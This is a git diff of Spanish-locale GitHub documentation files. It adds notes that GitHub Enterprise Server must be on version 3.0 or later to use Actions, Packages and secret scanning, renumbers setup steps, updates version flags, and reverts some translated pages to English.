--- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -21,7 +21,9 @@ topics: ## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data reusables.enterprise.upgrade-ghes-for-actions %} {% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md index 9d1e765d83..33a3273bf7 100644 --- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -18,6 +18,8 @@ topics: ![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) +{% data reusables.enterprise.upgrade-ghes-for-actions %} + Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. ## Governance and compliance diff --git a/translations/es-ES/content/admin/index.md b/translations/es-ES/content/admin/index.md index cf364b8e3a..e9f1fb4c60 100644 --- a/translations/es-ES/content/admin/index.md +++ b/translations/es-ES/content/admin/index.md @@ -76,7 +76,7 @@ featuredLinks: - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}' - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}' - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}' - - '{% ifversion ghes %}/admin/enterprise-management/upgrading-github-enterprise-server{% endif %}' + - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' - '{% ifversion ghec %}/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}' diff --git a/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md b/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md index c9620caf9f..4e4de2165b 100644 --- a/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md +++ b/translations/es-ES/content/admin/overview/about-upgrades-to-new-releases.md @@ -10,6 +10,7 @@ topics: - Enterprise - Upgrades --- +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} {% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %} @@ -37,7 +38,7 @@ We'll use your feedback to apply bug fixes and any other necessary changes to cr Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime. -To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." +To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endif %} diff --git a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 6ed8568fa1..f1d277e45e 100644 --- a/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/es-ES/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -16,7 +16,10 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage +## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise + +{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage {% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. @@ -32,11 +35,11 @@ To enable {% data variables.product.prodname_registry %} and configure third-par - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## Step 2: Specify the package ecosystems to support on your instance +## Step 3: Specify the package ecosystems to support on your instance Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## Step 3: Ensure you have a TLS certificate for your package host URL, if needed +## Step 4: Ensure you have a TLS certificate for your package host URL, if needed If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md index 60bb98cb33..f7076a7ad1 100644 --- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md +++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md @@ -197,7 +197,7 @@ Action | Description `user.two_factor_requested` | A user was prompted for a two-factor authentication code.{% endif %} `user.unsuspend` | A user account was unsuspended by a site admin. -{% ifversion ghes > 3.1 or ghae-issue-1157 %} +{% ifversion ghes > 3.1 or ghae-next %} ## Workflows {% data reusables.actions.actions-audit-events-workflow %} diff --git a/translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index e4cde2b237..ed23e51702 100644 --- a/translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/es-ES/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -82,8 +82,12 @@ After your pattern is created, {% data variables.product.prodname_secret_scannin ## Defining a custom pattern for an enterprise account +{% ifversion fpt or ghec or ghes %} + Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." +{% endif %} + {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. diff --git a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md index f1d15dceea..b148ac4d78 100644 --- a/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md +++ b/translations/es-ES/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -25,14 +25,14 @@ shortTitle: Manage secret alerts {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. In the left sidebar, click **Secret scanning alerts**. +1. In the left sidebar, click **Secret scanning alerts**. {% ifversion fpt or ghes or ghec %} !["Secret scanning alerts" tab](/assets/images/help/repository/sidebar-secrets.png) {% endif %} {% ifversion ghae %} !["Secret scanning alerts" tab](/assets/images/enterprise/github-ae/repository/sidebar-secrets-ghae.png) {% endif %} -4. Under "Secret scanning" click the alert you want to view. +1. Under "Secret scanning" click the alert you want to view. {% ifversion fpt or ghec %} ![List of alerts from secret scanning](/assets/images/help/repository/secret-scanning-click-alert.png) {% endif %} @@ -42,11 +42,7 @@ shortTitle: Manage secret alerts {% ifversion ghae %} ![List of alerts from secret scanning](/assets/images/enterprise/github-ae/repository/secret-scanning-click-alert-ghae.png) {% endif %} -5. {% ifversion fpt or ghec %} - Optionally, use the "Close as" drop-down menu and click a reason for resolving an alert. - {%- elsif ghes or ghae %} - Optionally, use the "Mark as" drop-down menu and click a reason for resolving an alert. - {% endif %} +1. Optionally, select the {% ifversion fpt or ghec %}"Close as"{% elsif ghes or ghae %}"Mark as"{% endif %} drop-down menu and click a reason for resolving an alert. {% ifversion fpt or ghec %} ![Drop-down menu for resolving an alert from secret scanning](/assets/images/help/repository/secret-scanning-resolve-alert.png) {% endif %} diff --git a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md index 8484843e08..21c3bd883f 100644 --- a/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md +++ b/translations/es-ES/content/github/writing-on-github/editing-and-sharing-content-with-gists/forking-and-cloning-gists.md @@ -1,6 +1,6 @@ --- -title: Bifurcar y clonar gists -intro: 'Los gists son en realidad repositorios de Git, lo que significa que puedes bifurcar o clonar cualquier gist, aunque no seas el autor original. También puedes ver el historial completo de confirmaciones de un gist, incluidas las diferencias.' +title: Forking and cloning gists +intro: 'Gists are actually Git repositories, which means that you can fork or clone any gist, even if you aren''t the original author. You can also view a gist''s full commit history, including diffs.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/forking-and-cloning-gists @@ -11,25 +11,24 @@ versions: ghae: '*' ghec: '*' --- +## Forking gists -## Bifurcar gists +Each gist indicates which forks have activity, making it easy to find interesting changes from others. -Cada gist indica qué bifurcaciones tiene actividad, haciéndo más fácil el encontrar cambios interesantes de otras personas. +![Gist forks](/assets/images/help/gist/gist_forks.png) -![Bifurcaciones del gist](/assets/images/help/gist/gist_forks.png) +## Cloning gists -## Clonar gists +If you want to make local changes to a gist and push them up to the web, you can clone a gist and make commits the same as you would with any Git repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -Si deseas hacer cambios locales en un gist y subirlos a la web, puedes clonar un gist y hacer confirmaciones de la misma manera que lo harías con cualquier repositorio de Git. Para obtener más información, consulta "[Clonar un repositorio](/articles/cloning-a-repository)". +![Gist clone button](/assets/images/help/gist/gist_clone_btn.png) -![Botón Clonar gist](/assets/images/help/gist/gist_clone_btn.png) +## Viewing gist commit history -## Ver el historial de confirmaciones de un gist +To view a gist's full commit history, click the "Revisions" tab at the top of the gist. -Para ver el historial completo de confirmaciones de un gist, haz clic en la pestaña "Revisiones" en la parte superior del gist. +![Gist revisions tab](/assets/images/help/gist/gist_revisions_tab.png) -![Pestaña Revisiones de gist](/assets/images/help/gist/gist_revisions_tab.png) +You will see a full commit history for the gist with diffs. -Verás el historial completo de confirmaciones del gist con sus diferencias. - -![Página de revisiones de gist](/assets/images/help/gist/gist_history.png) +![Gist revisions page](/assets/images/help/gist/gist_history.png) diff --git a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 3765400734..0d23b4dbc8 100644 --- a/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/es-ES/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -434,7 +434,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)." | `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). | `runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)." -| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `runner_group_runners_updated`| Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} @@ -605,7 +605,7 @@ For more information, see "[Managing the publication of {% data variables.produc | `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)." | `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)." | `remove_topic` | Triggered when a repository admin removes a topic from a repository. -| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} | `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)." | `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}{% ifversion fpt or ghes or ghec %} | `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %} diff --git a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md index 0209187eda..1ac3ee3211 100644 --- a/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md +++ b/translations/es-ES/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md @@ -40,7 +40,7 @@ Protected branch rules that mention a special character, such as `*`, `?`, or `] To create an exception to an existing branch rule, you can create a new branch protection rule that is higher priority, such as a branch rule for a specific branch name. -For more information about each of each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." +For more information about each of the available branch protection settings, see "[About protected branches](/github/administering-a-repository/about-protected-branches)." ## Creating a branch protection rule diff --git a/translations/es-ES/data/features/actions-runner-arch-envvars.yml b/translations/es-ES/data/features/actions-runner-arch-envvars.yml index 66ced1151a..b6f74f6df2 100644 --- a/translations/es-ES/data/features/actions-runner-arch-envvars.yml +++ b/translations/es-ES/data/features/actions-runner-arch-envvars.yml @@ -5,4 +5,4 @@ versions: fpt: '*' ghec: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5727' + ghae: 'issue-5727' diff --git a/translations/es-ES/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/es-ES/data/features/keyboard-shortcut-accessibility-setting.yml index 7f7cf9d11b..41c2f3dac8 100644 --- a/translations/es-ES/data/features/keyboard-shortcut-accessibility-setting.yml +++ b/translations/es-ES/data/features/keyboard-shortcut-accessibility-setting.yml @@ -4,5 +4,5 @@ versions: fpt: '*' ghes: '>=3.4' - ghae: 'ghae-issue-5430' + ghae: 'issue-5430' ghec: '*' diff --git a/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md b/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md index 786cac23dc..a6086c3289 100644 --- a/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md +++ b/translations/es-ES/data/reusables/actions/actions-audit-events-workflow.md @@ -1,12 +1,12 @@ -| Acción | Descripción | -| ------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `cancel_workflow_run` | Se activa cuando se cancela una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Cancelar un flujo de trabajo](/actions/managing-workflow-runs/canceling-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `completed_workflow_run` | Se activa cuando el estado de un flujo de trabajo cambia a `completed`. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `created_workflow_run` | Se activa cuando se crea una ejecución de flujo de trabajo. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Crear un flujo de trabajo de ejemplo](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `delete_workflow_run` | Se activa cuando se borra una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Borrar una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)". | -| `disable_workflow` | Se activa cuando se inhabilita un flujo de trabajo. | -| `enable_workflow` | Se activa cuando se habilita un flujo de trabajo después de que `disable_workflow` lo inhabilitó previamente. | -| `rerun_workflow_run` | Se activa cuando se vuelve a ejecutar una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Volver a ejecutar un flujo de trabajo](/actions/managing-workflow-runs/re-running-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} -| `prepared_workflow_job` | Se activa cuando se inicia un job de flujo de trabajo. Incluye la lista de secretos que se proporcionaron al job. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. Para obtener más información, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-issue-1157 or ghec %} -| `approve_workflow_job` | Se activa cuando se aprueba el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)". | -| `reject_workflow_job` | Se activa cuando se rechaza el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)".{% endif %} +| Acción | Descripción | +| ------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `cancel_workflow_run` | Se activa cuando se cancela una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Cancelar un flujo de trabajo](/actions/managing-workflow-runs/canceling-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `completed_workflow_run` | Se activa cuando el estado de un flujo de trabajo cambia a `completed`. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `created_workflow_run` | Se activa cuando se crea una ejecución de flujo de trabajo. Solo se puede visualizar utilizando la API de REST; no se puede visualizar en la IU ni en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Crear un flujo de trabajo de ejemplo](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `delete_workflow_run` | Se activa cuando se borra una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Borrar una ejecución de flujo de trabajo](/actions/managing-workflow-runs/deleting-a-workflow-run)". | +| `disable_workflow` | Se activa cuando se inhabilita un flujo de trabajo. | +| `enable_workflow` | Se activa cuando se habilita un flujo de trabajo después de que `disable_workflow` lo inhabilitó previamente. | +| `rerun_workflow_run` | Se activa cuando se vuelve a ejecutar una ejecución de flujo de trabajo. Para obtener más información, consulta la sección "[Volver a ejecutar un flujo de trabajo](/actions/managing-workflow-runs/re-running-a-workflow)".{% endif %}{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-4963 %} +| `prepared_workflow_job` | Se activa cuando se inicia un job de flujo de trabajo. Incluye la lista de secretos que se proporcionaron al job. Can only be viewed using the REST API. It is not visible in the the {% data variables.product.prodname_dotcom %} web interface or included in the JSON/CSV export. Para obtener más información, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".{% endif %}{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `approve_workflow_job` | Se activa cuando se aprueba el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)". | +| `reject_workflow_job` | Se activa cuando se rechaza el job de un flujo de trabajo. Para obtener más información, consulta la sección "[Revisar los despliegues](/actions/managing-workflow-runs/reviewing-deployments)".{% endif %} diff --git a/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-actions.md b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-actions.md new file mode 100644 index 0000000000..6833ff6dc0 --- /dev/null +++ b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-actions.md @@ -0,0 +1,3 @@ +{% ifversion ghes < 3.3 %} +{% data variables.product.prodname_actions %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_actions %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +{% endif %} diff --git a/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md new file mode 100644 index 0000000000..fb2c9a733e --- /dev/null +++ b/translations/es-ES/data/reusables/enterprise/upgrade-ghes-for-features.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements. + +{% endnote %} \ No newline at end of file diff --git a/translations/es-ES/data/reusables/gated-features/ghas.md b/translations/es-ES/data/reusables/gated-features/ghas.md index c8d91d338a..0f74920694 100644 --- a/translations/es-ES/data/reusables/gated-features/ghas.md +++ b/translations/es-ES/data/reusables/gated-features/ghas.md @@ -1 +1 @@ -La {% data variables.product.prodname_GH_advanced_security %} se encuentra disponible para las cuentas empresariales en {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} y {% data variables.product.prodname_ghe_server %}.{% ifversion fpt or ghec %} La {% data variables.product.prodname_GH_advanced_security %} también se incluye en los repositorios públicos en {% data variables.product.prodname_dotcom_the_website %}.{% endif %} para obtener más información, consulta la sección "[Acerca de los productos de GitHub](/github/getting-started-with-github/githubs-products)". +{% data variables.product.prodname_GH_advanced_security %} is available for enterprise accounts on {% data variables.product.prodname_ghe_cloud %}{% ifversion ghae %}, {% data variables.product.prodname_ghe_managed %},{% endif %} and {% data variables.product.prodname_ghe_server %} 3.0 or higher.{% ifversion fpt or ghec %} {% data variables.product.prodname_GH_advanced_security %} is also included in all public repositories on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About GitHub's products](/github/getting-started-with-github/githubs-products)."{% else %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} diff --git a/translations/es-ES/data/reusables/gated-features/packages.md b/translations/es-ES/data/reusables/gated-features/packages.md index 4abc1aec3c..797b9cc52e 100644 --- a/translations/es-ES/data/reusables/gated-features/packages.md +++ b/translations/es-ES/data/reusables/gated-features/packages.md @@ -1,4 +1,4 @@ -el {% data variables.product.prodname_registry %} se encuentra disponible con {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} para organizaciones, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %}, y {% data variables.product.prodname_ghe_managed %}. +{% data variables.product.prodname_registry %} is available with {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %}, {% data variables.product.prodname_ghe_cloud %}, {% data variables.product.prodname_ghe_server %} 3.0 or higher, and {% data variables.product.prodname_ghe_managed %}.{% ifversion ghes %} For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.{% endif %} {% ifversion fpt or ghec %}
    {% data variables.product.prodname_registry %} no está disponible para repositorios privados que pertenezcan a cuentas que utilicen planes tradicionales por repositorio. Las cuentas que utilicen los planes tradicionales por repositorio tampoco podrán acceder al {% data variables.product.prodname_container_registry %} ya que estas cuentas se facturan por repositorio. {% data reusables.gated-features.more-info %} diff --git a/translations/es-ES/data/reusables/secret-scanning/beta.md b/translations/es-ES/data/reusables/secret-scanning/beta.md index 2bb602223f..5f4cae48b4 100644 --- a/translations/es-ES/data/reusables/secret-scanning/beta.md +++ b/translations/es-ES/data/reusables/secret-scanning/beta.md @@ -3,6 +3,9 @@ **Nota:** Las {% data variables.product.prodname_secret_scanning_caps %} para los repositorios que pertenecen a organizaciones se encuentra actualmente en beta y está sujeta a cambios. +If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_secret_scanning %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. + + 